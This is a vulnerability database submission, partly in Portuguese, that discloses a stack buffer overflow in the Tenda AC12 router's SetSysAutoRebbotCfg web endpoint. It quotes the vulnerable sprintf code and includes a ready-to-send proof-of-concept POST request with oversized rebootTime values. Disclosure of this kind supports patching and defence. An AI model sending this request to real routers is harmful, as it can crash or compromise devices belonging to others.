Submeter #868922: Tenda AC12 US_AC1206V1.0RTL_V15.03.06.23_multi_TD01.bin Buffer Overflow

A buffer overflow vulnerability was discovered in Tenda AC12 US_AC1206V1.0RTL_V15.03.06.23_multi_TD01.bin. Attackers can exploit this vulnerability by specifying the value of rebootTime. When rebootTime is passed to formSetRebootTimer, parsed by sscanf, and used to format the fixed-size end_time buffer through sprintf without proper bounds validation, it may cause a buffer overflow.

Technical details from the advisory:
The vulnerable component is the httpd web management interface. The vulnerable endpoint is goform/SetSysAutoRebbotCfg, registered as:
websFormDefine("SetSysAutoRebbotCfg", (void (*)(webs_t, char_t *, char_t *))formSetRebootTimer);

In formSetRebootTimer, the attacker-controlled rebootTime parameter is read from the HTTP request:
reboot_time = websGetVar(wp, "rebootTime", "02:00");

The destination buffer is a fixed-size stack buffer:
char end_time[12];

The rebootTime value is parsed by sscanf:
sscanf(reboot_time, "%d:%d", &end_hour, &end_min)

The parsed values are then formatted into end_time using sprintf:
sprintf(end_time, "%d%d:%d", end_hour / 10, end_hour % 10, end_min);

Because the attacker-controlled rebootTime input influences the values written into the fixed-size end_time stack buffer, and sprintf is used without an explicit output size limit, crafted rebootTime data may cause a buffer overflow.

Conceptual proof-of-concept request:
POST /goform/SetSysAutoRebbotCfg HTTP/1.1
Host: <device-ip>
Content-Type: application/x-www-form-urlencoded

autoRebootEn=1&delayRebootEn=true&rebootTime=999999999999999999999999999999999999999:999999999999999999999999999999999999999

• Fonte: ⚠️ https://github.com/lipenghai/iot_bug/blob/main/Tenda/AC12/4.md
• Utilizador: stksgg (UID 97520)
• Submissão: 25/06/2026 09h04 (há 2 meses)
• Moderação: 14/08/2026 07h29 (2 months later)
• Estado: Aceite
• Entrada VulDB: 389954 [Tenda AC12 15.03.06.23_multi_TD01 httpd web management interface SetSysAutoRebbotCfg formSetRebootTimer rebootTime Excesso de tampão]
• Pontos: 20